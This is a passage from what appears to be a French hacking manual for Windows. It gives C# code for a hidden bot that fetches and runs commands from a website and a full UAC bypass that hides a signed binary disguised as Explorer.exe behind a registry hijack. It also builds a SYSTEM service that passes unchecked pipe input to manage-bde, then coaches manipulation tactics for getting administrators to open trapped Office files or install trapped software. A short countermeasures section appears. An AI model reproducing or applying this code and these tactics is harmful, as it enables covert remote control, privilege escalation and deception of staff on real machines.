if (AncienneCommand != command + param)
{
Process tache = new Process();
ProcessWindowStyle styleFenetre;
tache.StartInfo.Arguments = param;
tache.StartInfo.FileName = command;
if (EstVisible) { styleFenetre =
ProcessWindowStyle.Normal; } else { styleFenetre =
ProcessWindowStyle.Hidden; }
tache.StartInfo.WindowStyle = styleFenetre ;
tache.Start();
AncienneCommand = command + param;
}
}

}
}
Pour tester le programme, charger un fichier texte comportant les commandes souhaitées sur
le site défini dans le programme. Exécutez ensuite le logiciel.

3. Compiler l’application
Notre application est un Windows Forms invisible, le paramètre target sera donc winexe.
Ouvrez une ligne de commande et allez dans le dossier de votre framework, puis écrivez la
ligne suivante :
csc.exe /out:c:\temp\robot.exe /target:winexe c:\temp\robot.txt
Pour utiliser le programme, créez un site web et chargez le texte. Compilez l’application avec
l’adresse de la commande. Faites installer le programme par la cible. La machine cible sera à
votre merci. Pour lui faire exécuter un ordre, il suffit de charger un nouveau fichier texte sur
le site.

Détourner la sécurité de l’UAC


Depuis Windows Vista, l’UAC protège les utilisateurs ayant des droits administrateurs sur
leur machine. Dès qu’une application ou une ligne de commande est exécutée, elle a par
défaut des droits utilisateurs même si l’utilisateur est administrateur de son poste. Le fait de
demander à l’utilisateur d’exécuter une application avec des privilèges élevés est très suspect.
Nous allons développer une application capable de s’installer avec seulement des droits
utilisateurs et qui sera exécutée à chaque fois que l’utilisateur lancera une application en tant
qu’administrateur. Nous devrons pour cela fabriquer un exécutable capable de démarrer une
autre application depuis les paramètres reçus de consent.exe (consent.exe est l’application
système qu’utilise UAC). Elle devra ressembler à un logiciel connu pour que l’utilisateur n’y
prête pas attention. Nous camouflerons donc notre logiciel en Explorer.exe. Le logiciel sera
signé et reconnu comme fiable grâce à l’installation du certificat root chez l’utilisateur cible.

1. Principe de base
Commençons par l’application. La partie de code importante est la suivante, le reste du code
ressemble aux exemples déjà proposés :
try
{
String Command = Environment.CommandLine;
String[] arguments = Command.Split(’=’);
String ProcessArgs = "";
Process p = new Process();
p.StartInfo.FileName = arguments[1];
if (arguments[2].Length > 2)
p.StartInfo.Arguments = arguments[2];

p.Start();

//Votre code ici


}
catch { }
Pensez à ajouter le code nécessaire pour que le nom et le titre de l’application soient reconnus
comme l’explorateur de Windows. Vous pouvez faire cela en ajoutant les propriétés de
l’assembly :
[assembly:AssemblyTitle("Explorateur Windows")]
[assembly:AssemblyVersion("6.2.9200.16433")]
[assembly:AssemblyDescription("Explorateur Windows")]
[assembly:AssemblyCompany("Microsoft")]
Si vous utilisez Visual Studio, indiquez ce qui suit dans les propriétés de votre création :
2. Extraire les icônes d’une application
Lors de la compilation, pensez à ajouter l’icône de l’explorateur pour plus de discrétion. Pour
extraire les icônes d’une application, utilisez l’application de Nirsoft, Ressources Extract.
Vous la trouverez ici : http://www.nirsoft.net/utils/resources_extract.html
Donnez le chemin Windows\*.exe comme source et donnez un chemin de destination.
Choisissez uniquement les icônes comme type de ressources.

Vous avez maintenant le choix de l’icône, nous vous conseillons


explorer_ICO_MYCOMPUTER.ico qui est celle utilisée par Explorer.exe.

3. Signer le code
Pour que votre application soit reconnue comme fiable par Windows, vous devez la signer
avec un certificat de type Code Signing reconnu par le magasin de certificat de l’utilisateur.
La signature d’un exécutable se fait avec l’outil Signtool.exe. Il est fourni avec Visual Studio.
Vous devez demander un certificat de signature de code à votre autorité de certification. La
demande se passe approximativement de la même manière que la demande d’un certificat web
vue dans le chapitre Extraire, casser, changer un mot de passe - Comment récupérer un mot de
passe depuis le réseau ? - Introduction aux certificats et à HTTPS.
Une fois le certificat reçu et installé, ouvrez-le et copiez la ligne Empreinte numérique.
Démarrez ensuite la console de Visual Studio et exécutez la ligne de commande suivante en
remplaçant par vos propres informations.
signtool sign /d "Explorateur Windows" /sha1
90c856875331881f1f97e9dbe8c8636ce8b79fda c:\temp\explorer.exe
Le résultat ressemble à celui présenté dans l’image suivante :

En ouvrant les propriétés de l’application, on constate que l’onglet Signatures numériques


s’est ajouté.
4. Piéger l’application pour la cible
Créez un fichier registre Start.reg qui exécutera votre application :
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Classes\exefile]

[HKEY_CURRENT_USER\Software\Classes\exefile\DefaultIcon]
@="%1"

[HKEY_CURRENT_USER\Software\Classes\exefile\Shell]

[HKEY_CURRENT_USER\Software\Classes\exefile\Shell\Open]

[HKEY_CURRENT_USER\Software\Classes\exefile\Shell\Open\Command]
@="\"%1\" %*" "IsolatedCommand"="\"%1\" %*"

[HKEY_CURRENT_USER\Software\Classes\exefile\Shell\runas]

[HKEY_CURRENT_USER\Software\Classes\exefile\Shell\runas\command]
@="\"%1\"%*"
"IsolatedCommand"="%appdata%\\Microsoft\\Windows\\explorer.exe
=\"%1\"=\"%*\""
La dernière ligne contient le chemin d’où sera démarrée votre application. Le résultat dans le
registre doit ressembler à l’image suivante :

Créez le fichier bat start.bat suivant :


reg import start.reg
xcopy explorer.exe %appdata%\Microsoft\Window\ /y
wscript.exe Certutil.vbs
Il est important que le chemin de destination de notre application soit « écrivable » par
l’utilisateur.
Certutil.vbs est décrit dans le chapitre Extraire, casser, changer un mot de passe - Comment
récupérer un mot de passe depuis le réseau ? - Introduction aux certificats et à HTTPS.
Ajoutez les fichiers suivants à votre application piégée :
Root.cer
Start.reg
Certutil.vbs
Start.bat
Explorer.exe
ApplicationNormal.exe
Compilez l’application, comme décrit dans le chapitre Prendre le rôle administrateur ou
système - Piéger une application avec les outils intégrés à Windows.
L’utilisateur cible pourra exécuter les scripts d’installation de l’application piégée avec
seulement ses droits utilisateur. Une fois le piège en place, au moment même où l’utilisateur
usera des droits administrateur pour exécuter une application ou installer un logiciel, notre
application sera exécutée, elle aussi avec les droits administrateur. Cela veut dire que nous
venons de bypasser l’UAC, puisqu’en installant une application avec des droits utilisateur,
nous pouvons faire exécuter notre logiciel avec des droits administrateur et cela discrètement.

Cela ne fonctionnera pas si l’utilisateur clique sur Exécuter en tant qu’autre utilisateur, car
dans ce cas, ce sont les informations au niveau de la machine qui seront utilisées. Mais avec
un keylogger, vous aurez ces informations. Si l’utilisateur clique sur un fichier script bat au
lieu d’un exécutable pour le démarrer avec les droits administrateur, c’est alors l’extension du
fichier correspondante qu’il faut modifier dans le registre pour que notre hack fonctionne.
Nous n’avons modifié que le fonctionnement des exe à l’aide de la classe exefile. Pour un
script bat, il faut procéder de la même manière avec la classe batfile. Et ainsi de suite pour
chaque extension ciblée.

5. Tester la modification
Le résultat est très intéressant. Si on clique sur une application, rien de spécial ne se passe.
Mais si une application nécessitant des privilèges élevés est lancée ou si l’utilisateur choisit
d’exécuter un logiciel dans ce mode, le message de confirmation est différent de la normale,
l’icône et le titre affichés sont toujours ceux de l’explorateur Windows, peu importe
l’application démarrée.
Lors de l’exécution d’un programme normal (sans piège) avec les droits administrateur, nous
voyons le nom et l’icône de l’application qui doit s’exécuter. Dans l’exemple ci-dessous, il
s’agit de la ligne de commande CMD.
Après la manipulation, c’est l’icône de l’explorateur qui s’affiche. Le bouclier de sécurité est
lui aussi différent. Mais ces détails ne choquent absolument pas un utilisateur peu averti.

La différence réside dans l’application exécutée et dans le certificat de celle-ci.

Vous avez vu comment détourner la sécurité de l’UAC, ce n’est finalement pas si compliqué.
Si vous voulez encore augmenter la discrétion de l’attaque, vous pouvez non pas la baser sur
l’extension exefile qui touche tous les exécutables mais modifier une extension comme
mscfile qui gère les fichiers de la console MMC ou encore batfile pour les fichiers bat. Ainsi
vous pourrez choisir l’icône correspondant réellement à l’application.
Changer le code PIN BitLocker avec les
droits utilisateurs
Depuis Windows Vista, Microsoft permet de crypter le disque dur complet d’une machine
avec BitLocker. La clé de cryptage est stockée dans une puce TPM ou sur une clé USB. Les
données ne sont plus modifiables offline. Mais il est encore possible de démarrer le système et
d’attaquer les services exposés. Pour pallier cela, Microsoft permet l’ajout d’un code PIN qui
n’est pas stocké sur la machine. L’utilisateur peut le définir et sans ce code le système ne
démarre pas. En apparence, c’est un bon système, mais il faut que l’utilisateur soit
administrateur pour pouvoir le changer, ce qui est bien dommage. Nous allons donc créer une
application qui, une fois installée, permettra à un utilisateur sans droit administrateur de
changer le code PIN de BitLocker.

1. Principes de base
Nous allons créer un service Windows qui s’exécutera avec les droits système qui seront
chargés de modifier le PIN à la place de l’utilisateur. Et nous allons faire une application où
l’utilisateur peut entrer un code PIN et l’envoyer au service.
Pour créer un service, notre classe doit hériter de ServiceBase.
public partial class Service1 : ServiceBase
Les fonctions principales obligatoires appelées par le système sont Start et Stop :
protected override void OnStart(string[] args)
{
}

protected override void OnStop()


{
}
Pour la communication entre le service et l’application utilisateur, nous utiliserons les Named
Pipes, ce qui veut dire que nous communiquerons entre les deux processus en utilisant la
mémoire du système, un moyen simple, rapide et efficace.
Vous trouverez des informations à ce sujet sur le site Microsoft suivant :
http://msdn.microsoft.com/en-us/library/bb546085.aspx
Le service doit écouter et attendre qu’on lui envoie un nouveau code PIN.
NamedPipeServerStream Ecoute = new
NamedPipeServerStream("\\\\.\\pipe\\PinSetting",
System.IO.Pipes.PipeDirection.InOut,2);
StreamReader lecteur = new StreamReader(Ecoute);
while(true)
{
Ecoute.WaitForConnection();
string PINCode;
Ecoute.WaitForPipeDrain();
PINCode = lecteur.ReadLine()
}
Par défaut, un Named Pipe n’autorise pas un utilisateur avec moins de droits à se connecter
sur un Pipe administrateur ou système. Nous devons alors modifier les droits pour autoriser
tous les utilisateurs de la machine à envoyer un message au service.
PipeSecurity securite = new PipeSecurity();
securite.AddAccessRule(new PipeAccessRule( @".\Users",
PipeAccessRights.ReadWrite, AccessControlType.Allow));
Si la machine n’a jamais eu de code PIN, il faut en créer un.
Process p = new Process();
p.StartInfo.Arguments = "-protectors -add %systemdrive%
-tpmandpin " + PINCode;
p.StartInfo.FileName = "manage-bde.exe";
p.Start();
Si un code PIN existe, on le change avec les lignes suivantes :
Process p = new Process();
p.StartInfo.Arguments = "-changePin %systemdrive% " + PINCode;
p.StartInfo.FileName = "manage-bde.exe";
p.Start();
Ne sachant pas d’avance si un code PIN a déjà été défini ou non, nous exécuterons les lignes
de code correspondant à la création d’un code PIN et les lignes de code correspondant au
changement d’un code PIN. Nous couvrons ainsi les deux cas.
Pour envoyer le code de l’application utilisateur vers le service Windows, on ouvre la
connexion :
NamedPipeClientStream client =
new NamedPipeClientStream("\\\\.\\pipe\\PinSetting");
StreamWriter Ecrire = new StreamWriter(client);
client.Connect();
On écrit le PIN :
Ecrire.WriteLine(DemandeCode());
On attend une éventuelle réponse puis on ferme la connexion.
client.WaitForPipeDrain();
client.Close();
Ecrire.Close();

2. Créer un service Windows


Ce développement est comme vous l’aurez compris en deux parties. La première est un
service Windows.
Créez un nouveau document texte avec comme nom PIN-Service.txt. Ajoutez-y le code
suivant :
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.IO;
using System.IO.Pipes;
using System.ServiceProcess;
using System.Text;
using System.Threading;
using System.Security.AccessControl;

namespace PIN_service
{
public partial class Service1 : ServiceBase
{
public Service1()
{

protected override void OnStart(string[] args)


{
Thread t = new Thread(new ThreadStart(LeServeur));
t.Start();
}

protected override void OnStop()


{
}
static void Main()
{
ServiceBase[] ServicesToRun;
ServicesToRun = new ServiceBase[]
{
new Service1()
};
ServiceBase.Run(ServicesToRun);
}
public static void LeServeur()
{
PipeSecurity securite = new PipeSecurity();
securite.AddAccessRule(new PipeAccessRule(
@".\Users", PipeAccessRights.ReadWrite,

AccessControlType.Allow));
NamedPipeServerStream Ecoute =
new NamedPipeServerStream("\\\\.\\pipe\\PinSetting",

System.IO.Pipes.PipeDirection.InOut,
10,PipeTransmissionMode.Message,
PipeOptions.None,256,256,securite );

while (true)
{
try
{

StreamReader lecteur = new StreamReader(Ecoute);


Ecoute.WaitForConnection();
string PINCode;
Ecoute.WaitForPipeDrain();
PINCode = lecteur.ReadLine();
Console.WriteLine(PINCode);
Process p = new Process();
p.StartInfo.Arguments = "-protectors -add
%systemdrive% -tpmAndPin " + PINCode;
p.StartInfo.FileName = "manage-bde.exe";
p.Start();
p.StartInfo.Arguments = "-changepin
%systemdrive% " + PINCode;
p.StartInfo.FileName = "manage-bde.exe";
p.Start();

}
finally
{
if (Ecoute.IsConnected) {
Ecoute.Disconnect(); }

}
}

}
}
}

Visual Studio Express ne propose pas la création de services Windows. Pourtant, il est
possible d’en créer avec cet outil ; pour cela, vous devez effectuer plusieurs petites
manipulations. Vous devez ajouter une référence à System.ServiceProcess depuis l’ajout de
références dans Visual Studio. Puis vous devez ajouter Using System.ServiceProcess au
début de votre programme. Ensuite votre classe doit utiliser ServiceBase comme type hérité
et vous devez déclarer au minimum les deux fonctions suivantes : protected override void
OnStart(string[] args) et protected override void OnStop(). Vous compilez le tout comme
une application console et votre service Windows est prêt à être installé (voir code ci-dessus).

3. Compiler et installer un service Windows


Pour compiler le service, allez dans le dossier du framework 3.5 ou 4.5. La
communication par la mémoire n’est supportée qu’à partir du framework 3.5, qui est installé
par défaut sur Windows 7. Sur Windows 8, utilisez le 4.5.
C:\Windows\Microsoft.NET\Framework64\v3.5\
Csc /out:c:\temp\pin-service.exe c:\temp\pin-service.txt
Une fois la compilation terminée, il s’agira d’installer le service sur la machine. Pour cela,
prévoyez un paquet d’installation qui copie le fichier dans un dossier, puis qui l’installe sur la
machine cible avec la ligne de commande suivante :

sc create pin-service binPath= C:\temp\pin-service.exe start= auto

Un espace doit exister entre le signe égal et le paramètre.

4. Créer l’application cliente


L’application cliente nous servira à envoyer le code PIN au service. Elle se connecte au
service, demande un code PIN à l’utilisateur et envoie le code pour le changement.
Créez un nouveau document texte, nommez-le ChangePin.txt et ajoutez le code suivant :
using System;
using System.Collections.Generic;
using System.IO;
using System.IO.Pipes;
using System.Linq;
using System.Text;
using System.Threading;

namespace ChangePin
{
class Program
{
static void Main(string[] args)
{
NamedPipeClientStream client =
new NamedPipeClientStream("\\\\.\\pipe\\PinSetting");
StreamWriter Ecrire = new StreamWriter(client);
client.Connect();
int pin = DemandeCode();
Ecrire.WriteLine(pin);
Ecrire.Flush();
Ecrire.Close();
}
static int DemandeCode()
{
try
{
Console.WriteLine("Donnez un code PIN numérique:");
return int.Parse(Console.ReadLine().Trim());
}
catch
{
Console.WriteLine("le code doit être numérique
uniquement");
return DemandeCode();
}
}
}
}
Nous vous conseillons d’écrire une application un peu plus visuelle. Le code ci-dessus vous
permet surtout de comprendre les principes nécessaires à la communication entre processus
ayant des droits différents.

5. Compiler l’application cliente


La compilation est du même ordre que celles déjà vues. Allez dans le dossier de votre
framework puis compilez le fichier source.
C:\Windows\Microsoft.NET\Framework64\v3.5\
Csc /out:c:\temp\ChangePin.exe c:\temp\ChangePin.txt
Vous pouvez maintenant tester l’application :

Le service PIN-Setting doit être démarré pour que vous puissiez vous connecter sur le Named
Pipe et ainsi changer le code PIN.
Nous avons vu comment établir une communication entre une application utilisateur et un
service ayant des droits système. Ce type de relations permet d’écrire des applications
donnant à un utilisateur des droits particuliers pour exécuter des tâches restreintes.

Contre-mesures
Une application keylogger, capture d’écran, etc. compilée par un utilisateur n’est en général
pas détectée par un antivirus. Il faut empêcher les utilisateurs de compiler leur code ; pour
cela, bloquez les compilateurs présents dans les Frameworks installés sur les machines
clientes en créant une restriction logicielle sur ces outils. Le Framework .NET intègre un
compilateur C# et un compilateur VB et parfois un compilateur J#, veillez donc à bloquer tous
ces compilateurs pour les utilisateurs finaux, soit csc.exe, vbc.exe et jsc.exe. Pensez
également à bloquer PowerShell, parce qu’il est possible pour un utilisateur d’utiliser des
objets .NET dans PowerShell, ce qui donnerait à son script les mêmes capacités qu’une
application compilée.
Vous pouvez également interdire la modification des clés de registre avec une stratégie de
groupe. Ciblez les clés utilisateurs qui permettent d’ajouter une classe de fichier, de démarrer
une application et toutes les clés qui pourraient compromettre le système.

Comprendre l’autre, ses besoins et ses


envies
Il n’existe pas de modèle spécifique à l’analyse de l’ingénierie sociale. Nous pouvons à la
place utiliser des modèles d’analyse de l’humain adaptés au marketing, au management ou à
la psychologie.

1. La prise de décision
Le modèle de Kollat et Blackwell utilisé en marketing nous donne une vue du fonctionnement
de la prise de décision.

Schéma de la prise de décision tiré du Comportement du consommateur et de l’acheteur, par


Nathalie Guichard, Régine Vanheems.
Certaines étapes de ce processus peuvent être contrôlées par l’attaquant, par exemple la
création d’un problème, la proposition d’alternatives, ce qui devrait entraîner une décision
d’action adaptée à notre objectif. Si l’utilisateur reçoit en plus une réponse adaptée à son
choix, l’évaluation post-action sera positive et permettra une nouvelle attaque du même type.
Nous allons jouer sur des variables qui nous permettront d’améliorer les réponses positives à
nos attaques :
 La prise en compte des besoins de l’utilisateur.
 Un problème ou une proposition adaptée.
 Des informations complémentaires aux problèmes posés.
 Un délai ne permettant pas une grande recherche d’informations.
 Des alternatives répondant parfaitement au problème.
 Un retour positif à l’utilisateur sur le choix de son action.
En mettant en œuvre ces bases de marketing, une attaque par ingénierie sociale aura beaucoup
de chances de parvenir à un résultat correct.

2. Comprendre l’utilisateur
L’objectif est de tenter l’utilisateur. L’attaquant devra alors refléter le mieux possible les
besoins et les envies de la cible. Pour mieux comprendre et communiquer avec l’utilisateur, il
existe des techniques de communication comme la PNL (Programmation neurolinguistique).
D’après les experts de ce domaine, on peut dire qu’elle est une étude et une modélisation des
structures subjectives de l’expérience humaine. Pour mieux comprendre ses rouages, il faut
comprendre et assimiler les présupposés ou les postulats de la PNL. Dans les présupposés les
plus significatifs de la PNL, il y a « La carte n’est pas le territoire ». Avec d’autres mots, cela
veut dire que chacun d’entre nous voit et interprète avec son propre référentiel ce qu’il reçoit
comme informations de l’extérieur. La réalité est différente pour chacun et nous travaillons
avec une image de cette réalité. C’est ce qui est appelé une représentation subjective de la
réalité.
Dans l’aide à l’action et à la décision, d’autres postulats sont intéressants pour nous, par
exemple, « Nous faisons toujours le meilleur choix pour une situation donnée par rapport aux
informations dont nous disposons ». Ce qui veut dire qu’au moment de notre choix, nous
faisons de notre mieux pour nous, par rapport à la subjectivité de notre réalité.
En tant qu’attaquant, vous devrez comprendre le monde de la cible, cerner, ou pourquoi pas,
créer ses besoins, l’aider à se décider vers une solution que nous lui aurons proposée, et enfin,
lui rendre une expérience positive. Si l’expérience donnée à l’utilisateur est négative, les
futures attaques auront beaucoup plus de chances d’échouer. De plus, il pourrait transmettre
ses mauvais sentiments à d’autres futures cibles. Au contraire, si l’expérience est positive,
l’utilisateur aura plus de chances d’à nouveau collaborer et en plus, de transmettre de lui-
même l’attaque à d’autres cibles.

Les besoins de l’utilisateur


1. Le modèle de Maslow
L’acte de décision est la convergence entre un besoin ou une envie, et un élément susceptible
de le satisfaire. Pour comprendre, nous allons utiliser une base de management, la pyramide
de Maslow.
Cette pyramide nous apporte des informations intéressantes qui nous renseignent sur les
besoins primordiaux. Les besoins primaires comme les besoins physiologiques (la nourriture,
la boisson, etc.), les besoins de sécurité comme la conservation d’un acquis, avoir des biens,
pouvoir faire des choses. Les besoins de sécurité peuvent être un moyen de pression ou un
outil de curiosité. Si l’utilisateur croit qu’il va perdre son travail, il cherchera à tout prix des
informations à ce sujet.
Les besoins secondaires sont tout autant importants, mais beaucoup plus
subjectifs. L’appartenance à un groupe, le besoin d’estime et la réalisation de soi touchent tout
le monde, mais à des degrés bien différents. Il faut, avant d’utiliser un de ces besoins, savoir
lequel est le plus sensible chez la cible.

2. Le modèle de valeur d’inventaire de Shalom Schwartz


Le modèle de Maslow est très souvent enseigné, il est simple, rapidement compris et assimilé.
Toutefois, il est réducteur. Lors de sa création Abraham Maslow n’a étudié qu’une population
occidentale et ayant reçu une instruction, ce qui dans notre cas n’est pas très grave. Par contre,
il ne prend pas en compte les envies de l’utilisateur et n’est donc pas assez précis pour en
déduire des principes de manipulation sociale.
Les valeurs d’inventaire de Schwartz sont issues d’une enquête réalisée sur plus de 60 000
personnes. Cette enquête a permis d’identifier des valeurs communes qui agissent comme des
principes directeurs dans la vie de ces personnes. Schwartz a identifié et regroupé 56 valeurs
en dix types de valeurs. Ces groupes de valeurs sont utilisables pour manipuler une personne.
Chacun d’entre nous est plus enclin à être manipulé par l’une ou par l’autre de ces valeurs.
Les valeurs d’inventaire de Shalom Schwartz sont les suivantes :
Autonomie : indépendance de la pensée et de l’action - choisir, créer, explorer. L’autonomie
comme valeur est ancrée dans les besoins vitaux de contrôle et de maîtrise. Une personne
pour laquelle l’autonomie est importante peut être en alerte si celle-ci est menacée.
Stimulation : enthousiasme, nouveauté et défis à relever dans la vie. Les valeurs de
stimulation découlent du besoin vital de variété, de changement et de challenge.
Hédonisme : plaisir ou gratification personnelle. Les valeurs d’hédonisme proviennent des
besoins vitaux de l’être humain et du plaisir associé à leur satisfaction.
Réussite : le succès personnel obtenu grâce à la manifestation de compétences socialement
reconnues. Être performant dans la création ou l’accès à des ressources est une nécessité pour
la survie des individus ; c’est également indispensable pour que les groupes ou les institutions
puissent atteindre leurs objectifs.
Pouvoir : statut social prestigieux, contrôle des ressources et domination des personnes. Le
fonctionnement des institutions sociales nécessite apparemment un certain degré de
différenciation des statuts sociaux. Une dimension domination/soumission apparaît dans la
plupart des analyses.
Sécurité : sûreté, harmonie et stabilité de la société, des relations entre groupes et entre
individus, et de soi-même.
Conformité : modération des actions, des goûts, des préférences et des impulsions
susceptibles de déstabiliser ou de blesser les autres, ou encore de transgresser les attentes ou
les normes sociales. Les valeurs de conformité proviennent de la nécessité pour les individus
d’inhiber ceux de leurs désirs qui pourraient contrarier ou entraver le bon fonctionnement des
interactions et du groupe.
Tradition : respect, engagement et acceptation des coutumes et des idées soutenues par la
culture ou la religion auxquelles on se rattache. Partout, les groupes développent des
pratiques, des symboles, des idées et des croyances qui représentent leur expérience et leur
destin commun, et deviennent ainsi les coutumes et les traditions du groupe.
Bienveillance : la préservation et l’amélioration du bien-être des personnes avec lesquelles on
se trouve fréquemment en contact. Les valeurs de bienveillance proviennent de la nécessité
pour le groupe de fonctionner de manière harmonieuse et du besoin d’affiliation de l’individu
en tant qu’organisme. Les relations au sein de la famille ou des autres groupes de proches sont
ici cruciales. La bienveillance met l’accent sur le souci du bien-être des autres.
Universalisme : compréhension, estime, tolérance et protection du bien-être de tous et de la
nature. Les valeurs d’universalisme proviennent du besoin de survie des individus et des
groupes.
Source : Théorie, mesures et applications, traduction Béatrice Hammer et Monique Wach,
Revue française de sociologie, Ed Ophrys, 2006/4 - Volume 47, pages 929 à 968. Site web :
http://valeurs.universelles.free.fr/approches.html
Toutes ces valeurs peuvent être détournées pour que la solution apportée par l’attaquant
réponde à une ou plusieurs valeurs importantes pour l’utilisateur.

Les techniques de manipulation


La décision est l’acte de faire un choix pour résoudre un problème ou une envie. On parle de
processus de décision. Il s’agira toujours d’un choix entre plusieurs solutions potentielles. Le
choix final s’appuiera sur un critère de satisfaction, pour être le plus heureux possible du
choix fait.
 Le décideur interprète la situation à laquelle il est confronté et en détermine le
problème.
 Il décide et renonce aux autres options.
 Il attend un retour pour enregistrer la réponse dans son expérience.
La phase de résolution du problème est la plus étudiée. Elle comprend généralement une
recherche d’informations, l’analyse des solutions et la prise d’une décision. Le processus de
décision est plus ou moins rationnel.
Pour manipuler une réponse, nous devons orienter le problème et la phase de résolution du
problème. Dans un contexte particulier, une personne peut être manipulée pour donner une
réponse pas forcément en accord avec ce qu’elle veut, mais qui correspondra à ce qui est
attendu d’elle.
Par exemple, dans le cadre d’un entretien pour un nouvel emploi, le responsable des
ressources humaines affirme : « L’ambiance est bon enfant, nos consultants sont tous très
intéressés par la progression de l’entreprise. D’ailleurs, ils ne comptent pas leurs heures ! ».
Quand arrive le tour des questions et que le responsable vous demande ce que vous pensez
des heures supplémentaires, que répondez-vous ? Il y a fort à parier que votre réponse sera en
accord avec lui. Pourtant, qui aime vraiment les heures supplémentaires ?

1. Les suggestions verbales


La PNL ainsi que l’hypnose ericksionnienne utilisent des techniques de manipulation verbales
s’adressant à l’inconscient plutôt qu’à la partie consciente de notre cerveau. Cette pratique
s’appelle la suggestion. La suggestion n’a rien de négatif en soi ; elle n’est négative que si
l’on s’en sert à de mauvaises fins. Dans notre contexte, nous l’utiliserons pour suggérer un
choix à des fins de piratage, il va sans dire qu’il y a plus positif comme utilisation.
Les différents types de suggestions verbales sont discutés ci-après.
1. Une séquence d’acceptation est une suite de faits indiscutables suivie d’une proposition peu
discutable, par exemple, « Puisqu’on a le contrat sous les yeux et que nous sommes d’accord,
nous allons signer. »
2. Dans les suggestions activatrices, les choses sont présentées plus légèrement, ce qui donne
un choix. Mais la réponse logique qui s’impose est donnée dans la question. Ex : « Puisqu’on
est vendredi et qu’il est 16 heures, nous pourrions peut-être arrêter là ? »
3. Dans les suggestions indirectes, les choses sont présentées indirectement. Ex : « Je ne vais
pas vous dire que les heures supplémentaires sont importantes, vous le savez, et vous qu’en
pensez-vous ? »
4. Les suggestions indirectes par questionnement sont une technique très utilisée par les
commerçants. La question ne porte pas sur le sujet principal, mais sur un sujet connexe,
comme dans cet exemple où la vraie question est : « Voulez-vous installer un pare-feu ? »
mais celle-ci se transforme en : « Quand est-ce que vous pensez installer un pare-feu ? ».
L’installation du pare-feu est implicite, seule la date est demandée.
5. Dans le double lien, on laisse un choix qui n’est qu’un détail, par rapport à ce que l’on
souhaite. La vraie question est : « Est-ce que vous allez signer ? », mais elle se transforme en :
« Savez-vous déjà si vous allez signer cette semaine ou plutôt encore laisser passer le week-
end avant de signer ? »
6. Dans les truismes, trois ou quatre propositions évidentes peuvent cacher la dernière
proposition, qui est acceptée comme les autres. Par exemple : « Lorsqu’on lit ce livre jusque-
là, on y prend du plaisir et on le conseille à ses amis. ».
7. Dans les suggestions négatives paradoxales, un choix paraît possible pourtant il n’y en a
pas vraiment. Ex : « N’est-il pas maintenant absolument indispensable d’envisager la mise à
jour ? » Avec des mots forts tels qu’« absolument indispensable », la réponse s’oriente
fortement vers un oui. Les suggestions négatives ne sont pas comprises directement. Chaque
fois que le cerveau est confronté à une phrase de ce type, il doit construire le positif puis
l’annuler. Si je vous demande de ne pas imaginer ici et maintenant un lapin bleu sur vos
genoux. Que faites-vous ? Avez-vous pensé à ce lapin ?
Vous l’aurez remarqué, la formulation est toute aussi importante que le contexte. Une bonne
formulation augmentera fortement les résultats positifs de vos attaques.

Création des étapes d’une attaque


Pour créer un contexte favorable, nous pouvons créer une attaque ayant plusieurs étapes.
1. Définissez un besoin ou une envie à exploiter chez la victime en vous appuyant sur la
pyramide de Maslow ou sur l’inventaire de Schwartz.
2. Créez ou utilisez un problème à partir du besoin ou de l’envie, comme un risque de
licenciement, une offre pour un produit fortement attendu, etc. (interprétation et définition du
problème pour la cible).
3. Donnez à l’utilisateur des informations pour confirmer son problème et donnez-lui une
partie de réponse acceptable (recherche et collecte d’informations pour la cible).
4. Donnez à l’utilisateur un moyen efficace de résoudre son problème, ce qui lui donnera une
échappatoire contrôlée (la prise de décision).
5. Rassurez l’utilisateur sur le choix qu’il a fait. Si le problème touche un élément sensible
chez l’utilisateur, profitez de cette étape pour le faire revenir au calme (retour positif).

1. Envoyer un document Office piégé


Notre premier exemple sera l’ouverture d’un document Office contenant une macro par une
personne ayant des droits d’administrateurs des systèmes ou du support. Pour être certain de
faire exécuter notre fichier piégé, il y a deux moyens efficaces :
 Modifier un fichier existant, comme une liste Excel ou un document de profil ou
n’importe quoi que la cible va certainement ouvrir.
 Créer un fichier qui soit intéressant pour la cible, un rapport budgétaire quotidien, une
liste de sites à bloquer ou une présentation PowerPoint avec un sujet pertinent.
Par exemple :
1. Prenez contact avec l’équipe, histoire de connaître leurs noms, un peu leurs goûts et qu’ils
voient aussi qui vous êtes. Trouvez ce qui motive en termes de besoin ou d’envie votre cible.
2. Tous les vendredis, pour leur donner du courage, envoyez un PowerPoint avec une fille
sexy ou une bonne blague en bande dessinée.
3. Après en avoir envoyé un, prenez contact avec de manière informelle (cafétéria, couloir,
support informatique...) pour un petit souci, cela, dans le but de bien être sûr qu’ils aient reçu
le document et surtout, qu’ils l’aient ouvert. Vous devez à ce stade savoir si le besoin, ou
l’envie, ciblé est le bon pour votre attaque.
4. Envoyez-en un deuxième la semaine d’après, mais avec un script qui va simplement copier
un fichier ou écrire un log quelque part, quelque chose que vous allez pouvoir contrôler pour
être certain que ça va marcher. Il s’agit ici de savoir si la cible a les droits suffisants pour
l’attaque et que rien ne bloquera celle-ci.
5. Le troisième vendredi, le fichier PowerPoint sera piégé et vous aurez donc accès à tout ce
qui peut vous intéresser.

Nous vous rappellons qu’il est possible de contourner la sécurité des macros d’un document
Office dans certaines conditions. Voir le chapitre Prendre le rôle administrateur ou système -
Piéger un document Office.

2. Envoyer une application piégée


Nous allons maintenant faire exécuter une application par une personne du support technique
ayant des droits suffisants ou directement par l’administrateur système si la société est plutôt
du type PME ou TPE.
Mais comment faire installer une application par une personne du support ou par un
administrateur du domaine ?
Pour avoir le plus de chances possible que cette installation se fasse, il faut respecter certaines
règles, qui permettront au support de respecter leurs valeurs de conformité, de bienveillance :
 L’application doit être nécessaire : aucun administrateur ne va installer une
application futile ou non nécessaire pour l’entreprise.
 L’application doit avoir une licence valide ou être gratuite : les administrateurs
système n’aiment pas les licences non officielles, les produits piratés ou les produits
payants n’étant pas dans le budget.
 L’application doit avoir une bonne réputation : elle doit être connue car
l’administrateur va plus facilement installer un logiciel qu’il connaît.
Pour répondre à ces critères et encore ajouter un contexte favorable, voici comment il est bon
de procéder pour une bonne coopération de votre administrateur.
1. Choisissez une application répondant aux règles citées.
2. Créez un problème.
3. Rendez la future application importante pour votre travail. Le support satisfera de cette
manière les valeurs de pouvoir et de réalisation de l’inventaire des valeurs de Schwartz.
4. Apportez une solution au problème, si possible gratuite et fiable. Cela donnera une aide à la
décision lors de la collecte d’informations pour le support.
